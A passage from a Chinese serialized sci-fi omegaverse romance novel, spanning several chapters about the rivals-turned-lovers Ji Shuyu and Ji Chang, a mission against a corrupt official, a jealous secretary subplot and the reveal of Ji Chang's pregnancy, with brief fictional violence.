闲起来的感觉并不好,他打开暗网,修改自己的定位和身份,以A级Alpha的身份接了个A级的任务,还是多人任务。 他的搭档同样也是个A级Alpha,很快给他发来了消息,约他在任务指定的位置地点见面。 那个女人看到他有点惊讶,随后点点头:“合作愉快。” 季尝没有说话,只点点头。 女人走在他前面,先是破开了那扇门,季尝很快就闻到这里有一股酸臭的味道。 令他恶心。 战斗时不能打开过滤器,这只会影响他的战斗状态,气味有时候更能反映方位。 他忍住干呕的冲动,全神贯注,眼前的战斗护目镜浮现出蓝绿色的数据流。 —————————— 易灼走到她身边,将一盅炖好的汤放在她手边:“季姐姐,要趁热喝,不要太劳累了。” 季舒虞没有抬眼,快速处理手头上几个文件:“嗯。” 他忐忑地看着季舒虞,在旁边站了半天,终究还是问了出来:“……季姐姐,我是不是,是不是该走了?” “去哪里?” “季先生回来了。” 季舒虞停下手中的工作,看着他:“所以呢?” 所以? 他十分清楚自己的位置,他只是一个替代品,替代季尝的存在,现在季尝回来了,赝品在这里还能做什么呢? 易灼哑然,他知道作为下属,不该猜测老板和其他人的关系,哪怕他深知季舒虞和自己的小叔在一起不道德,但这跟他没什么关系。 接住所有的舆论和风雨,他是那个发泄口,这是他的工作,代替季尝承受住这些,这是他留在季舒虞身边的意义和价值。 但现在这些东西不存在,照理来说,他也该跟着消失。 但季舒虞好像没有放他走的意思。 “我只是想,我可能该离开了。” “你想要退出。”季舒虞平静地阐述着他的态度。 “易灼,你是我最看好,我清楚你的能力不止这些,”季舒虞神色很认真,易灼也不由得正色起来,一颗心砰砰跳着,他听到她说,“你把自己放在怎样的位置上了?” “……我,”易灼低下头,“我还以为您不打算要我了。” 她只将一份全息文件交给易灼:“这项工作只有你能胜任,做给我看。” “好。”他郑重地接过那一沓文件。 文青山正巧走来,看到那份文件后脸色微变:“长官?” 季舒虞微微抬手,打断她的话,看着易灼:“这份方案很急,要快。” “我不会让你失望的,姐姐。”易灼的眼睛都明亮起来。 接到这样大的任务,他很高兴。 还是太年轻了,文青山摇了摇头。 季舒虞十指交叉,好整以暇地看着她:“怎么了?” 看着年轻的Alpha出了门,文青山才问:“长官,摧毁长生计划的方案那么重要,怎么让他接手了?” “这人能不能用,好不好用,试试才知道。”季舒虞起身,“剩下的你来处理。” 她去看看季尝在做什么。 废弃星港,Alpha握着匕首:“再不承认就宰了你。” “哎呀,不要冲动,有话好好说,先礼后兵嘛,”季尝微笑着拦住她,看着目标人物,很有礼貌地问,“你的眼睛多少钱一只,我买了。” 就是这只臭虫的眼睛黏腻地在他身上流转。 “……你,”被五花大绑的人瞪他,却听季尝啧了一声,把玩着的蝴蝶刀随手一剜,这人就爆发出尖锐的嚎叫,“啊啊啊——” 季尝捂住一侧耳朵:“啊,好吵。” 好像被这一声吓到了一样。 仿佛需要保护的不是地上正打滚流血的人,而是他这个手起刀落,飞快剜了别人眼睛的人。 “审讯不是我的专业,你来负责。”季尝后退一步,朝着地上的人扬了扬下巴,示意她过去。 他的临时搭档在他剜人眼睛的时候脸色就一言难尽,闻言很快调整好,将满脸是血的人拉出去审讯。 季舒虞来的时候就看到了这一幕。 这人剜了别人眼睛,又是害怕又是嫌弃,还是那副刻薄虚伪的样子。 没有那么讨厌了。 但季尝不该出现在这里。 看着人被拖走,季尝莫名发毛,他回头,正对上季舒虞的眼睛—— 作者有话说:季尝:hi 第65章 那我温柔一点 第六十五章 季尝愣了一下, 随后微笑,得体地跟她打招呼:“嗨,大小姐,你什么时候来的, 怎么不跟我打招呼……” 倒反客为主了。 但季舒虞没有掉进他的陷阱, 哪怕他长了一张很容易迷惑人的脸:“倒是我该问你, 被人发现就是违抗军令, 你怎么出来了?” “太无聊,你又不在, ”他的话还没说话,突然被一双手带走, “啊,你……” 季尝挣扎不脱, 就不动了。 有一瞬间, 他觉得自己像那只犯了错的猫。 小猫犯错的时候会被他拎起后脖颈教训, 那他现在被季舒虞这样带走,跟那只总是犯错的猫有什么区别? 没什么区别。 这个姿势太屈辱了, 跟刚刚反手剜人眼睛的笑面魔头判若两人。 他没了办法,叹了口气,认命一样地跟她认错:“好了, 大小姐, 我下次一定乖乖待在家。” “你还想有下次?”她的怀抱很温暖, 季尝能清晰的挺多女人有力而规律的心跳声, 她说, “季尝,还是不能告诉我离开的原因吗?” “……我困了,到家叫我。”他心安理得地闭上了眼睛。 季舒虞低头能看到他簌簌颤动的睫毛。 怎么可能就这么睡着呢。 但季尝不想说, 她依旧没有追问。 她尽可能的理解季尝的行为,她们都有自己的方式,行为和选择不一样,但是结果是一样的,都是为了更好的保护对方。 季尝在这里待了三天,也没有离开。 好像一切又回到了从前,她们维持着地下关系,但这次他不再惧怕流言了。 在一个清晨,他赖了很久的床后,穿着柔软宽松的丝制睡衣在二楼的栏杆旁伸懒腰,低头,就正好看到年轻的Alpha离去的身影。 啪啪啪—— 季舒虞抬头,就见这人微笑着鼓掌,感慨道:“真年轻啊,需要我教他如何取悦你吗,大小姐?” 丝制睡衣很薄,因为宽松,会随着风的吹拂而摆动,把他的身材很好地勾勒出来。 季尝的腰很窄,手感很好,在下城区他也没有疏于锻炼,虽然睡觉的时候多了点,但该有的薄肌都没有少。 她的眼睛没有离开季尝,过于炙热的视线也让他耳尖有点红。 也可能是刚睡醒,带着点慵懒和睡醒的热气,他本身就是温热的。 很漂亮,她好像越来越喜欢季尝了。 季舒虞没有立即开口,他带刺的话就像落到了棉花上,反倒被那道视线看得羞恼,笑骂一声:“冤家,你是木头吗?” “小叔真是霸道,”季舒虞弯起唇角,“你不是很喜欢我看你吗?” 季尝轻哼一声,背身回到床上,躲开她的视线。 他眼底的笑意渐渐散去,季尝摸了摸仍旧平坦的小腹,有些担忧。 怎么一点感觉都没有呢,如果不是上次宝宝发出了微小的动静,他甚至不觉得自己怀孕了。 几乎没有什么感觉呢,是不是他汲取的信息素不够。 “这段时间你好好休息,有什么需求就跟易灼说。”季舒虞的声音传来。 易灼,又是易灼。 季尝则了一声:“大小姐还真是看中他啊。” 他都回来了,季舒虞还用这人,看来是非常好用了,但季尝对自己的厨艺和能力都很有信心。 星际大部分都是靠喝营养液,他手艺非凡,还是因为小时候跟着妈妈看古文明时期的菜谱,学习做饭,这样的手艺可不是科技能比的。 而他作为omega,能与季舒虞并肩,她们之间的默契可不是谁都能取代的。 这是靠对抗十年磨合出的。 易灼又算什么。 他觉得自己年纪大了,或许早就没有那么秀色可餐,应该做好一切打算。 季尝一整天都在保养身体,繁复的一整套项目下来,几乎填满了他的时间。 无聊且忙碌,直到季舒虞回来对他说:“詹姆斯那边还需要处理,小叔,你更有分寸,劳烦你跑一趟了。” “总算想起你还有个一身本事无用武之地的小叔了,”季尝撑着脸颊,笑望着她,“詹姆斯是个贪官,亲爱的,要活的还是死的?” “温柔一些,要活的。” 这件事太重要了,但季舒虞第一想到的是他。 她选择的是他,也意味着能与她并肩作战的人是他,也只是他。 季尝觉得自己很擅长温柔:“嗯,那我温柔一点。” “关于长生计划,”季舒虞说,“我最近调了一些文件,但季高迟早会发现,这些天也不会太平。” “跟你在一起还没过过太平日子,”季尝满不在乎地戴好白色丝制手套,“坐标交给我。” 明明是一项艰巨的任务,甚至需要开多次会反复核实、商讨的难度,有极高在,能达到S+级,稍有不慎,她们都会死在里面。 但关于摧毁长生计划一事,就在这样一个寻常而平静的雨夜敲定。 好像跟她们平时出的任务没什么不同。 季尝对着镜子打理发丝,转过头为季舒虞打理着领子:“我闻到了一股Alpha的味道,好难闻,季舒虞,你真是臭死了。” “……我这就去洗。”季舒虞无奈。 季尝的鼻子这么灵吗,之前不是这样的,明明她开了阻隔器。 “嗯,我回来之前,你要清洗干净他的味道。”这人说完,满意地贴了贴她的嘴唇,“等我回家。” 滴答—— 季尝打开终端,回头看了女人一眼,就听她说:“你用的上,省得到时候麻烦。” 有季舒虞的调令,他回A区也没有人敢质疑。 擅自给他开调令,季尝扬了扬眉头,笑着没有说话。 她也有擅用职权的时候。 季尝约了詹姆斯吃饭,在安静的餐厅,站起身亲自为他盛了一盆饭。 白花花的饭堆成了小山,随时会倒塌的样子。 “……这,执行官大人,这我也吃不完啊。”老詹姆斯打着哈哈,已经汗流浃背了。 他不敢得罪季尝背后的人。 “怎么会?”季尝有些诧异,微笑着说,“听星纪委的同志说,你胃口大得很啊。” 他说的慢悠悠的,却叫老詹姆斯心惊肉跳。 “哪、哪里,怎么会,您真是说笑了。”他的笑容有些僵硬,满手心的汗,也只能稳稳接过那盆饭,不敢真的叫季尝端到他面前。 季尝靠着椅背,双腿交叠,借着这个身体后仰的姿势,欣赏着老詹姆斯脸上略显震荡的神情,像是在看一副美妙的画作。 詹姆斯可是老油条了,能把他约到这个地方,必然是已经有了安排。 詹姆斯几乎要把脑袋埋到饭盆里,他奋力扒着饭,心惊肉跳地打量着季尝的脸色。 这个omega玩味地看着他,露出了很愉悦的笑容。 他看懂了他的布局。 明明是约饭,但季尝没有要吃的意思,见他饭盆里的高度下降了一些,季尝姿态放松地整理着袖口,这副置身事外的样子,好像逼迫詹姆斯吃光一整盆饭的不是他一样。 “星纪委的同志说的果然不错,”季尝点点头,“你胃口大得叫人佩服啊……” “执行官,大人、大人,”老詹姆斯有些狼狈地擦了把嘴角,干噎几坨米饭,让他感觉自己有些呼吸不畅,年老的胃似乎也要撑坏了,“我明白大人的意思,不如我们,借一步说话?” 季尝云淡风轻:“这儿的沙发我坐着舒服,有什么事就在这说。” 老詹姆斯看了一眼一旁的助理,刚想叫这些人出去,就听到季尝说:“我喜欢热闹。” “……大人,我明白那位的意思,”老詹姆斯一咬牙,说,“我会按照那位的意思去办,还请大人,不要再逼迫……” 季尝微微抬手,打断了他:“这些话吃完再说。” 老头慢慢呼出一口气,在季尝看不见的范围内,一只手缓缓向下,在桌下拿起准备已久的激光枪,他抬眼看向季尝,这人并没有看过来。 都说他有多厉害,能与季舒虞抗衡,敏锐程度也就如此。 詹姆斯嗤之以鼻,却听到刀刃快速摩擦的声音。 他心下一惊,猛地抬眼就看到季尝似笑非笑,把玩着蝴蝶刀。 他的手指灵活,动作也很快,简直要翻出花来:“我说,是不是好脸色给你太多了?” “詹姆斯,吃,还是死?” 一把年纪被小辈这样威胁,但詹姆斯的第一反应不是这个,他觉得自己好像从季尝身上看到了季舒虞的影子。 ……怎么能这么像。 —————————— 解决完了一切,季尝擦干净指尖上的血迹。 他开始恶心这些味道,尤其是老詹姆斯,这只老蛀虫被养的什么都不会了,胆小如鼠,只是吓了一下,居然就尿了。 他恶心极了,但风雪的味道很快将这种感觉压了下去。 季尝抬眼看了一眼天空。 天气很恶劣,好像是要下一场暴雪,但他的爱人比暴雪先来。 “上来。”季舒虞落下窗户,看着他。 季尝就笑:“不上去,下来陪我走走。” 雪花还是细细疏疏的,看着距离变成暴雪还有一段时间。 她跟季尝并肩走着,这边没什么人,也不在监控范围内。 地上已经铺了一层雪白,像是星际的肮脏已经被遮掩,要迎来一片新的天地。 季尝抬起头,用舌尖接了一片雪。 他的发顶,睫毛,还有肩头都落了雪,鼻尖有一点红,看起来很漂亮,也很可爱。 她第一次见到季尝这样,有点孩子气。 “雪很脏,为什么要吃雪?”季舒虞对上了他琥珀色的眼瞳—— 作者有话说:思考一些play,vb可以点菜[好的] 第66章 做的不错,小叔 第六十六章 “会带来好运, 你不试试吗?”季尝偏了偏头,弯着眼睛邀请她一起尝试,“味道不错。” 她犹豫了一下。 季舒虞从来没有吃过雪,在她的认知里, 一个成熟稳重的成年人不该这么做。 吃雪没有好吃, 还有可能对身体有害, 所以这是一件坏事。 但季尝邀请她一起。 他的睫毛上还沾着雪花, 下巴埋在围巾里,看着居然很温柔很乖。这张脸真的很有欺骗性, 季舒虞觉得自己已经被他迷惑了。 她还是抬头,看着灰蒙蒙的天, 将信将疑地张开嘴巴接雪花。 下一瞬,一把准备已久的雪被一把按进了她的嘴里。 舌尖已经冰冷到麻木, 季舒虞眸色一凛, 当即将人一个过肩摔, 吐出那口雪,膝盖借着姿势抵在季尝的腿间, 身体也半压在他的身上。 “哈哈,哈哈哈……”地上的雪很薄,没有什么缓冲力, 季尝被摔痛了, 但还是就着这个姿势畅快地笑出声来。 “还笑?”季舒虞擦掉嘴角冰冷的雪花, 咬住他刻薄的嘴唇, 就这么渡给他一个冰冷的吻。 冰冷的舌尖缠紧了他的, 她的唇舌太冷了,带着冰雪和硝烟的味道,季尝想要躲开, 却只能发出“呜呜”的声音,气得咬她,但这次没舍得用力。 真是可恶的家伙。 他捂着腰起来,掸了掸身上的雪,看着季舒虞的制服。 每次都是这样,她结束前后都那么得体,却把他弄得很狼狈。 季尝咬了咬牙,把长长的围巾取下来一些,给她的脖子也围好:“只穿这么点,照顾不好自己吗?” 他离得很近,垂着眼睫给她围好,季舒虞看着他被吻的有些湿润发红的唇瓣,久久没有开口。 太安静了,安静到她们能听得彼此的心跳。 他的耳尖更红了,应该是被风雪吹的。 那条围巾并不是那么长,他和季舒虞几乎贴在一起,季尝给她打理好,有些别扭地别开脸:“……看什么,眼睛老实点。” “如果我再看,小叔是不是也要剜我的眼睛了?”季舒虞问。 她说的是那次他偷偷接暗网任务的事。 “以前怎么没发现你这么记仇?”季尝转脸扬起眉头看着她,“这次认为的完成了,詹姆斯的文件我发你终端,人还活着,剩下的留着你处理。” 季舒虞没有吝啬夸奖:“做的不错,小叔。” “哼,”天很冷,季尝往她那边凑了凑,等待她的飞行器飞回来,“除了我,谁还能这么妥帖。” 确实没有谁能在不询问她的情况下,还能猜到她的想法,让她这么满意。 季尝理所应当的提要求:“埃文今天过生日,珍妮尔和克莱德都在,我们过去看看,看有什么好玩的活动。” 安德森家族或许也看中了长生计划里的许多东西,这是件好事,如果能获得安德森家族的帮助,更会事半功倍,这对她们来说百利而无一害。 但季尝没有参加到他喜欢的活动,等到达安德森家族时,埃文已经准备许愿了。 看到他和季舒虞一起来,埃文更是眼睛放光。 他最近可是看了不少关于季舒虞的文,香的甜的酸的,应有尽有。 其中人物也很多,有自行带入季舒虞和自己的,有季舒虞和易灼的,当然,也有不少季舒虞和季尝的。 不论是带入还是磕cp都很香。 埃文觉得自己是杂食党,每样都吃,营养均衡。 他这段时间每天就等着放皇粮,眼下见了正主更是高兴,很热情的迎了上去:“哥哥,季姐姐,很久没看到你们了。” 他热情的有点过分,甚至暗戳戳地想握她们的手。 不正常。 季尝带着她往后一步,微笑着说:“快去许愿。” 埃文就点点头,高兴地看着他们,舍不得闭上眼睛似的。 “……”季尝回头看她,“我们最近有什么新闻?” “或许有新文?”季舒虞按了按太阳穴。 她其实不知道还有这种邪恶的东西,是前段时间文青山正津津有味的看着什么,她的视力太好了,只要想看,就能看清文青山到底在做什么。 随后季舒虞就看到了那些文字。 很震撼。 后来她没有惊动任何人,去加密网站里搜索了相关词条,搜出来的文章并不少,黑的白的黄的、和Alpha、beta、omega的,都有。 浏览量很高,发布者们每天都在被评论区催着更新。 她从没见过这样的盛况。 “文?”季尝问,“什么文?” 很显然,他也不知道。 不过季舒虞没有打算告诉他。 埃文双手合十,闭眼许愿:“幸福幸福,请降临在我手心……” 说到这,他突然睁开眼睛,“哥,你要许愿吗,要不要我帮你也许一个?” 季尝挑了挑眉,他的视线落在季舒虞身上,随后伸出手,掌心朝上。 季舒虞心领神会,将自己的手扣在他的手心,与季尝十指紧扣。 这人就得意洋洋地看着埃文:“不好意思,我的幸福已经降临了。” 克莱德明显见不得他这副模样,叹了口气,没再看自己这位朋友,也没再提带他去看脑子的事,一个人默默走开了。 她们好像又回到了从前,只不过家里多了易灼。 他时不时来取东西,或是送东西。 但到现在,季尝还没有正面与他交谈过。 季舒虞似乎也在有意避开,不让他和易灼见面。 这更像是一种保护,只是不知道是在保护谁。 上次他跟易灼对上视线,这人就有些慌乱地错开了眼睛,似乎是做了什么见不得人的事一样,很快就让他生疑,但季尝确实没有检查出什么可疑的东西。 文青山将文件整理给她:“长官,这是易灼的方案。” “不错,”季舒虞说,“有些出乎我的意料。” 易灼太单纯,这个年龄很容易被骗,被蛊惑,她没有打算真正用他,易灼接触不到核心机密,所以哪怕泄露,也造不成什么危害。 早在易灼刚入职的时候,她就注意到有不少人想借机收买他。 这段时间做饭的事都由季尝负责,易灼因为常做的活被季尝抢了而无措,也不敢叫“季姐姐”,因为这个称呼一出口,他可能会被瞪。 倒也不是瞪,可怕的是季尝面带微笑,但却叫他冷飕飕的。 这种情况下,他更容易被收买。 季舒虞很想看看,他能做到哪一步。 但这份方案全然是为她考虑的,易灼在已知的有限信息里,做了能降低危险的最好方案。 “他格外的忠心。”文青山客观的评价,半晌,她突然问,“长官,他不是A同吧?” “你可以看小说,这是个人爱好,但这种东西不能带入工作。”季舒虞忍无可忍,撑着头看她。 “哈哈哈……”个人爱好不知道什么时候被发现,她看上司的小煌文被戳破,即便是文青山这样爽朗的女人,此刻也有点尴尬了,“是,我绝不会带入工作。” 季舒虞没再追究这件事。 她安排好长生计划的摧毁方案,与季尝加密沟通后,让易灼去福利院把维娅和牛奶接过来。 她想给季尝解闷,尽可能的打开那扇在冷雨夜铸成的铁门,让季尝对她能放心地依赖,能不再设防。 季尝沐浴完,刚裹上一件浴袍,坐在沙发一角看漫天飘散的雪花。 公馆有巨大的落地窗,坐在这个位置,就能看到外面的一切,而且这个位置很舒服,季尝很喜欢待着这儿。 暴雪天气,大片大片的雪花往下砸,整个世界都被染成了白色。 几乎看不到别的东西。 季尝想了想,戴上了那枚戒指。 “……什么时候找到的?”季舒虞下楼,正巧看到他泰然自若地从浴袍口袋拿出那枚戒指。 明明是几个月前他亲手扔进了湖里。 她为了找到这枚戒指,几乎把湖水抽干,把淤泥翻个遍,甚至一些个头很大的鱼都被带去进行扫描,只是为了找到这枚戒指。 但季尝自己从口袋里翻出来,慢悠悠地戴上了。 季尝眨了眨眼睛,在她的注视下别开视线:“当时没舍得扔……” 季舒虞咬了咬牙。 她当时明明看到有什么东西飞过去,亮晶晶的,落水的细小声音也被他捕捉到。 那她辛辛苦苦找这枚戒指又算什么? “季尝,你耍我?”季舒虞逼近他,俯身将裹着小被子的他笼罩在自己的阴影里。 很难不叫人生气。 她甚至刚刚想把季尝踹进冰冷的湖水里,看着他在里面游上一刻钟。 季尝心虚,这次没有辩驳。 他当时的确是虚晃一枪。 戒指是他辛辛苦苦做的,跟季舒虞的是一对,那么有意义,哪怕战斗,他都把那枚戒指保护的很好,又怎么舍得扔。 可太生气了,不扔又说不过去,所以他…… 季舒虞显然很生气,他情急之下,只能献祭一样,搂住季舒虞的脖颈,狠狠吻她,还是抽出时间来谴责她:“是你先惹我生气的,害得我当时出此下策。” 他惯会倒打一耙。 季舒虞气笑,加深这个吻。 暴雪天气很适合睡觉,也很适合接吻。 天气那么恶劣,但她们就坐在落地窗前,在温暖的屋子里亲吻对方。 【主人,生活秘书在门外,是否开门。】 那个吻戛然而止,季尝刚跨坐在她的身上,眼睛还有些迷蒙,压下想要继续索吻的冲动,声音有点哑:“他又来做什么?” 季舒虞握着他的窄腰,指腹时不时拂过他的小腹,说:“送维娅和牛奶过来,我觉得你可能想见她们。”—— 作者有话说:易灼(抖抖):我来的不巧了[可怜] 第67章 你就这么讨厌他 第六十七章 季尝的发丝垂在单薄的脊背上, 他不咸不淡地嗯了一声,拢了拢摇摇欲坠的浴袍,起身裹好,也没了接吻的兴致。 季舒虞智能管家开门, 随后轻声问:“……你生气了吗?我不该叫他来, 行吧?” 他背着身不说话。 维娅抱着牛奶, 在门口抖了抖身上的雪, 两个小孩已经被裹成了毛团子。 季舒虞接过维娅怀里的牛奶,刚把小孩抱在怀里, 却听她大叫一声:“爸爸抱!” 下一刻,季尝从她怀里带走了牛奶, 哼笑一声:“季舒虞,行吧是什么意思?” 这是真生气了。 维娅被智能管家带到楼上去玩了, 季尝就这么抱着牛奶, 说什么都不看她。 因为刚刚的亲吻, 他的眼尾还带着一点潮红,浅薄的唇瓣也湿润润的。 季舒虞不是那么理解他的情绪, 她就这么坐到季尝身边,无可奈何地捧起他的脸:“小叔,你就这么讨厌他?” 她的动作并不强硬, 轻轻的温柔的捧起他的脸, 季尝被迫与她对视, 只要他想, 随时能挣脱。 但季尝看着那双深邃而黑的眼睛, 很久,只是错开视线:“讨厌他,怎么能呢, 我哪敢?” 季尝转过头,哄着怀里的牛奶,这是连交流都不打算了。 “我不想说太多,好像我刻意挑刺一样。”季尝声音有些轻,“他来这里是处理他的工作,我不高兴是我的情绪,这不冲突。” “我不喜欢他,但他是你的生活秘书。” “你情绪很不好,小叔,最近发生什么了吗?”季舒虞看着他,语气尽可能的温和。 她不会哄人,但愿意试着哄季尝。 只是说到最近发生的事,她唯一能想到的就是那个被他亲手杀死的,她们的孩子。 季舒虞没再提那个死去的孩子,她更想听季尝坦白究竟为什么生气,他的情绪来的有些突然。 毕竟易灼什么都没有做,他很喜欢小孩,也能把维娅和牛奶照顾的很好,所以把这项任务交给易灼,她很放心。 季尝任由牛奶在他怀里学习新词,他抬眼看了季舒虞一眼,刚刚没有理会她,这人的视线又落回牛奶身上,不知道在想什么。他就想,要不要告诉季舒虞他怀孕这件事,又觉得该惩罚她这点背叛的行为。 明明他回来了,还留着那个什么生活秘书,别以为他不知道这个职位是做什么的。 “爸爸,热热。”牛奶说。 季尝就把她抱起来,脱掉一层外面的小衣服:“好点了吗?” “牛奶不热,爸爸热。”她捂着自己外面那层衣服。 怀孕的omega或者beta身体都会发热,他当然感觉到了,但这应该算正常的。 季舒虞听她这么说,手背覆在他的额头:“……你发热了?” “没有。”季尝拍开她的手,不想跟她交流了一样。 季舒虞却没有给他拒绝的机会,直接把牛奶抱到智能管家托来的婴儿床上,给他测了体温。 偏高,是低烧。 “吃雪吃的。”季舒虞下了诊断。 季尝挑眉,屈指抵在下唇,眼底没有多少笑意:“呵,怎么就是吃雪吃的,不能是被你气的?” “小叔,我们两两相抵了,刚刚你没有蒙混过关。”季舒虞提醒他刚刚戒指那件事,“所以,先养好病再说。” 季尝没能再反抗,他是直接被季舒虞打横抱起,按进被窝,被柔软温暖的被子裹好的。 【温度湿度已设置。】 智能管家提醒。 光球上还顶着一个婴儿床,牛奶安安静静地坐在上面,任由智能管家把她托着飞来飞去。 他似乎本身也困了,外面下着暴雪,这种天气很适合睡觉,哪怕季尝刚刚反抗,抵死不从,现在陷入柔软的被子里,疲惫和困意很快来袭。 “长官,我们的人随时准备支援。”文青山的声音从终端里传了出来。 暴雪天气,A区的边缘地区还有一些没有户籍的人民,她会尽她所能守护好这些人,以免她们被暴雪吞噬,死在这个冬季。 季尝很担心这一点的。 季舒虞十分清楚,她跟季尝的观念太不一样了,有时候甚至相悖,可她们想要的结果是一样的,都是为了星际。 星际的上层当然也会有相同的安排,但这些安排往往会经历许多步骤,最后资金也会在一层一层里被剥掉,最终真正拿来利好底层人民的并不多。 A区尚且如此,更不用说下城区。 这次暴雪将持续很久,整个星际突然进入严冬,季舒虞提前安排好一切,她想尽可能的减少伤亡。 季尝睡了很久。 他梦到了许多东西,睡的很累,梦里有他死去的妈妈薇薇安,有季舒虞,牛奶,还有各式各样的异种。 梦里他又从实验室里救了一个小孩,那个小孩很可爱,看着约莫三岁,分辨不出性别,眼神也是怯生生的,有点怕他,躲在墙角观察了他很久。 “小朋友,你的妈妈呢,要我带你去找妈妈爸爸吗?”季尝就蹲下身,朝着小孩招了招手。 小孩一阵探头探脑,随后,还是走出来,小声试探:“可以带我出去吗?” “当然,”季尝微笑,“那告诉我,你想去哪里呢?” “我想,我想去找我的爸爸,”小孩犹豫了一下,说,“但我的爸爸可能不想要我。” “怎么会,哪有不爱自己孩子的家长呢,”季尝愣了一下,“那你要不要跟我回去,如果你愿意,这里会有许多姐姐妹妹跟你一起玩。” 小孩看起来有很多顾虑,试探着问:“那,你要带我出去吗,我不想再回到这里了。” “当然,”季尝单手抱起终于决定走到他面前的小孩,“我带你回家。” 越往前走,眼前越是一片光亮。 亮到他快要睁不开眼。 季尝停住脚步,看了一眼周边陌生又冰冷的实验室。 人体标本、异种标本,人类和异种的拼凑物,狰狞可怖,这是战后的残局。 怀里的小孩见他停步,很紧张地攥着他的领子没有松手,季尝轻轻拍了拍这孩子的背,安抚道:“别怕,我们回家。” 他迈进了刺眼的光里。 季舒虞见他终于醒来,接过智能管家冲泡好的药剂,问:“身体好些了吗,还难不难受?” 季尝睡了很长时间,她都处理完了所有的工作,做好了所有的安排,却见这人还在睡,甚至把头盖了一半,只露出鼻子眼睛。 呼吸也很轻很浅,哪怕她听力敏锐,也没有捕捉到,季舒虞差点以为他死在了梦乡,这是试过他的鼻息,知道这人还活着,又让他继续睡了一会。 季尝还没有清醒,意识有些不清,含糊地应声:“……唔。” 看起来状态没有那么好。 但他这幅模样难得的乖巧可爱,原本这两个词一辈子都不可能跟季尝沾边的,毕竟他是那么狠辣毒舌,惹人讨厌,这两个词与他相悖。 季舒虞凑近他,想要贴一贴他的额头,测一下体温。 他的身上还有些热,整个人暖融融的,没有往日的冰冷潮湿,倒像是古文明时期的热带雨林,闻到她的气息,就这么抬头,迷迷糊糊凑过去。 他以为要接吻。 季舒虞没忍住,笑了一声,改用手试体温:“小叔,真可爱,不过你得先好好养病。” 没有得到预想中的吻,反倒听见一阵笑声,季尝这才反应过来,看着眼前的女人,哼了一声,但因为还生着病,也没什么气势:“混账东西。” “不要总是骂人,会把小孩带坏的。”季舒虞说一旁的牛奶。 他这下没说话,背过身,又把自己缩成了一团。 季尝很喜欢睡觉,以前也是,他觉很多。 季舒虞总担心他睡死过去,尤其他声音那么轻。 放在以前,她要是得知季尝死在梦里,一定会后悔没有亲手打死他,但放在现在,她好像没有那么恨他了。 哪怕当年她们都差点杀死对方。 “把药喝了。”季舒虞把苦涩浓黑的药水递过去。 那股味道很快飘了过去,季尝皱紧眉头掩住口鼻,躲恶鬼一样后退的远远的:“什么东西,快拿走。” 他都要吐了。 好难闻,好刺鼻的苦涩味道。 “是药,”季舒虞没有拿走,不容拒绝地说,“不能不喝药,你的体温还是有些高。” “我能扛过去,别逼我吃药。”季尝说什么都不吃。 他的嘴很挑,她觉得好吃的东西,季尝极有可能要拉踩一番。 之前上学的时候不是没出现过这种情况:“大小姐这是什么没见过世面的样子,吃的这是什么上不得台面的饭食?” “真是难以下咽,只是看到,我的眼睛就被伤害到了。” “这么难吃,你怎么吃的下去的,过来,小叔给你做。” 季尝总是攻击她的餐饭,也一直试图毒死她的。 但这是药,他现在还病着,药是不能不吃的。 她把苦涩的药递到季尝嘴边:“快喝,放凉了会更苦。” 他叹了口气,像是被她的固执打动了,撑着身体半靠在床头。 柔软的栗色长发垂在身后,有几缕落在他锁骨的凹陷处,看上去很温柔。 手突然被握住。 季尝轻轻地把她的手拉到被窝里,温暖席卷了她,他温热的掌心就这么牵引着她的手,一点点向下滑,直到小腹的位置,堪堪停下,她摸出了一点点弧度。 季舒虞抬眼,对上他刚睡醒,还带着水意的眼眸,就听这人说:“大小姐,可不是我挑嘴,是宝宝不想吃。”—— 作者有话说:留评有随机红包降落[好运莲莲] 第68章 打掉吧 他的眼睛还含着笑意, 说的又那么认真,以至于季舒虞怀疑的是自己的耳朵。 心跳得很快,她没有轻举妄动,在短短几秒内快速消化着这个信息。 季尝明明买了胚胎解离素, 小猫拍的清清楚楚, 依照他的性子, 孩子怎么可能还在。 季尝有可能耍她。 但掌心下的柔软和拢起又那么清晰, 不仔细感知是不会发现的,这里明明还有一个幼小的新芽。 那么柔软那么小, 甚至季尝腹部的线条还很清晰,这里面一点都不像已经孕育了一个孩子。 “怎么不说话, ”季尝眼底的笑意淡了一点,“你不想要一个我们的宝宝吗?” 她静默了一会, 平静地抬起眼睛:“孩子, 谁的孩子?” 季尝脸上的淡笑僵住了, 听她说:“小叔是私生子,小叔怀的, 也是私生子。” 她说话从来直白,刺的他很痛,小腹的起伏也剧烈了一些, 他几乎咬牙切齿, 极少这么失态:“季舒虞, 这是你的种。” “这是你的孩子。”他再三重申。 “不是打了吗?”她很平和。 现在情绪又这么激动, 明明当初他是想打掉的。 她知道季尝的脾气, 他不会生一个会拖累他的小孩。 为什么留下? 卧室突然陷入一丝诡异的寂静。 季尝发出一声嗤笑。 他气笑了,指尖紧紧掐在掌心:“你监控我?” 季舒虞抽出手:“但你也监控我,被我发现了。” 季尝在她的公馆装了不少监控设备, 都被她一项项拔除。 当然,她们针锋相对这么多年,她能猜到季尝,季尝也猜到了她,只不过他没有想到小猫。 “说我敏锐度不如你?”他眯了眯眼。 “……没有,我去帮你叫医生检查身体。”季舒虞把那杯药带走了。 她发现自己在季尝面前有些太放松,居然犯了这种低等错误,太快说漏了嘴,要是她再待下去,季尝少不了要继续纠缠。 “季舒虞,”季尝叫住她,半撑起身子,“这个孩子,你要不要?” 她侧过脸,看了靠在床头的男人一眼。 他栗色的发尾被蹭的有点卷,就这么柔软的垂在身后,季尝维持着神情,和平时没有什么不一样,但信息素的味道有些不一样。 季舒虞察觉到了他的期盼,他想得到一个肯定的答案。 “要。” 季尝弯起眼睛,轻笑了一声。 这是一个没忍住,发自内心的笑。 就像是他一直想和季舒虞组建家庭,但一直不清楚她的意思,提心吊胆许久,终于得到明确且肯定,他一直想要的答案。 他的掌心落在柔软的,微微拢起的小腹上:“四个月了,已经会动了,你不在的时候,宝宝很想你。” 季舒虞“嗯”了一声:“可能幅度比较小,刚刚我没有摸到。” “幅度确实很小,那你再摸摸?”季尝神态自然地发出邀请。 像是有什么在这一刻变得不一样了。 她们宿敌的关系不再纯洁,又多了一层更深的牵绊。 这种感觉却没有那么坏,只是如果放在很久以前,有人告诉她,她季舒虞将来会跟季尝这样的人组建家庭,她估计会被恶心到。 很难不恶心。 但就是这么坏的一个人,跟她并肩作战,配合的天衣无缝,无数次完美完成任务,现在还孕育着她们的孩子,而她也真的喜欢上了这样一个人,这确实很不可思议。 